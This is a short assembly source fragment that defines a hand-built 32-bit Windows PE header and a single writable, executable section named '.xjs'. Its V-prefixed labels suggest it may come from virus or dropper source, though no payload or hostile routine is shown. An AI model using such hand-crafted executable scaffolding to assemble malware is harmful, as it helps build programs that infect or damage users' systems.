MIMAGE_OPTIONAL_HEADER32:
Magic dw 10bh
MajorLinkerVersion db 5
MinorLinkerVersion db 12
SizeOfCode dd VRAW_SIZE
SizeOfInitializedData dd 0
SizeOfUninitializedData dd 0
AddressOfEntryPoint dd 1000h
BaseOfCode dd 1000h
BaseOfData dd 3000h
ImageBase dd 400000h
SectionAlignment dd 1000h
FileAlignment dd 200h
MajorOperatingSystemVersion dw 4
MinorOperatingSystemVersion dw 0
MajorImageVersion dw 0
MinorImageVersion dw 0
MajorSubsystemVersion dw 4
MinorSubsystemVersion dw 0
Win32VersionValue dd 0
SizeOfImage dd 3000h;need to change st
SizeOfHeaders dd 200h
CheckSum dd 0
Subsystem dw 2 ;(Windows GUI)
DllCharacteristics dw 0
SizeOfStackReserve dd 100000h
SizeOfStackCommit dd 1000h
SizeOfHeapReserve dd 100000h
SizeOfHeapCommit dd 1000h
LoaderFlags dd 0
NumberOfRvaAndSizes dd 10h
DataDirectory dd 0,0
dd offset VImports+@,VIMPORT_SIZE
dd 14h dup(0)
dd offset VIAT + @,8
dd 0,0,0,0,0,0
MIMAGE_SECTION_HEADER:
Name1 db ".xjs",0,0,0,0
VirtualSize dd offset VEnd - offset VStart
VirtualAddress dd 1000h
SizeOfRawData dd VRAW_SIZE
PointerToRawData dd 200h
PointerToRelocations dd 0
PointerToLinenumbers dd 0
NumberOfRelocations dw 0
NumberOfLinenumbers dw 0
Characteristic dd 0E0000020h
VEnd:
CODE ends
end main